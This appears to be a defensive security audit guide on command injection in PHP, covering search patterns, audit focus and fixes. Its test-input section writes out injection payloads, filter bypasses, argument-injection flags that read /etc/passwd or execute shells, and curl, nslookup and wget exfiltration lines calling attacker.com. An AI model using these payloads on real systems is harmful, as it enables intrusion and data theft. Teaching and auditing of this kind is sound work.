Command Injection
Any function that spawns a shell respects shell metacharacters.
Concatenating user input into system("convert " . $file . " out.png")
lets the attacker append ; rm -rf /, pipe to nc, or run a subshell
with $(…).
Why
Two sub-classes that get conflated and shouldn’t be:
- Direct injection — input reaches a shell with metachars unfiltered
(
;,|,&&,`,$()). Adds arbitrary commands. - Argument injection — input is wrapped with
escapeshellargbut slipped into a flag position. The shell metachars are escaped, but the command’s own flags weren’t sanitised.curl --config=/dev/stdin,ssh -oProxyCommand=...,tar --checkpoint-action=exec=...are all reachable.
Same severity, different fix.
Search patterns
# Direct shell-execution
rg -n '\b(system|exec|shell_exec|passthru|popen|proc_open|pcntl_exec)\s*\(' --type=php
# Backtick operator
rg -n '`[^`]*\$' --type=php
# Indirect — via libraries that shell out
rg -n 'Process::|Symfony\\\\Process|->run\(' --type=phpTest inputs
Delimiters (probe each one — different shells behave differently):
; id| id& id&& id|| id\n id(newline)`id`$(id)$(< /etc/passwd)
OS-aware variants:
| OS / Shell | Separator | Notes |
|---|---|---|
| Linux/bash | ; ` | & && |
| Windows/cmd | & && ` | |
| Windows/powershell | ; ` | ` |
Bypassing space filters:
${IFS}—cat${IFS}/etc/passwd{cat,/etc/passwd}— brace expansionIFS=,;cmd<<<input,here- Tab:
cat%09/etc/passwd
Bypassing keyword filters:
- Quote interleaving:
c'a't /etc/passwd,c"a"t /etc/passwd cat /e''tc/passwd- Wildcards:
/???/p?sswd
Argument injection (when escapeshellarg is used but the value is a flag):
- For
curl:-K /dev/stdin(read config from stdin),--upload-file /etc/passwd - For
wget:--use-askpass=...or--config=/dev/stdin - For
tar:--checkpoint=1 --checkpoint-action=exec=sh - For
find:-exec sh -c ... - For
ssh:-oProxyCommand=...,-oPermitLocalCommand=yes - For
git:--upload-pack=...,--exec=... - For ImageMagick
convert:delegatepolicies (the ImageTragick family) - Any binary: try
-foo— sometimes it flips behaviour just by being parsed
Out-of-band exfil (when command output isn’t reflected):
; curl https://attacker.com/?$(id|base64); nslookup $(whoami).attacker.com; wget http://attacker.com/$(id|tr ' ' _); `id | base64 | xargs -I{} curl attacker.com/{}`
Audit focus
For each shell-exec call:
- Construction shape — string concatenation (worst),
escapeshellargon every value (decent for separator injection but not argument injection), or array form ofproc_open(best — no shell at all). - Argument injection surface — what binary is being invoked? Does it
have any
--config=...,--exec=...,-o<option>flags?curl,wget,ffmpeg,convert(ImageMagick),tar,find,ssh,git,mysql— all argument-injection-friendly. - Privilege of the PHP process — root? www-data? www-data with sudo NOPASSWD on something interesting?
- PATH — is a relative binary used (
exec("convert ...")) or an absolute path (exec("/usr/bin/convert ..."))? Relative paths + attacker-controlled PATH is its own bug. - Indirect injection — does the input feed a file that another shell
command reads (e.g. writing to
.bash_historythen exec’ing bash)?
escapeshellcmd is not escapeshellarg. The former escapes
metacharacters in the whole command but does not quote arguments —
flag-style injection still works. Use escapeshellarg per-argument, or
the array form of proc_open which doesn’t go through a shell at all.
Fix
The right answer: proc_open with an array of args, no shell.
$proc = proc_open(
['/usr/bin/convert', $file, 'out.png'], // PHP 7.4+: array form
[1 => ['pipe', 'w'], 2 => ['pipe', 'w']],
$pipes
);When using a string command, escape and pin:
$cmd = '/usr/bin/convert '
. escapeshellarg($file) . ' '
. escapeshellarg($out);
exec($cmd);For argument-injection-prone tools, add -- (end-of-options) where the
binary supports it:
exec('/usr/bin/grep -- ' . escapeshellarg($pattern) . ' ' . escapeshellarg($file));For a binary you don’t control flags of, use the array form — it doesn’t
help with --exec style injection either, but it eliminates the shell
metachar layer entirely.
Related
- SSRF — sometimes the chain ends at command exec on an internal box
- File Upload — uploaded ImageMagick payloads → command exec via ImageTragick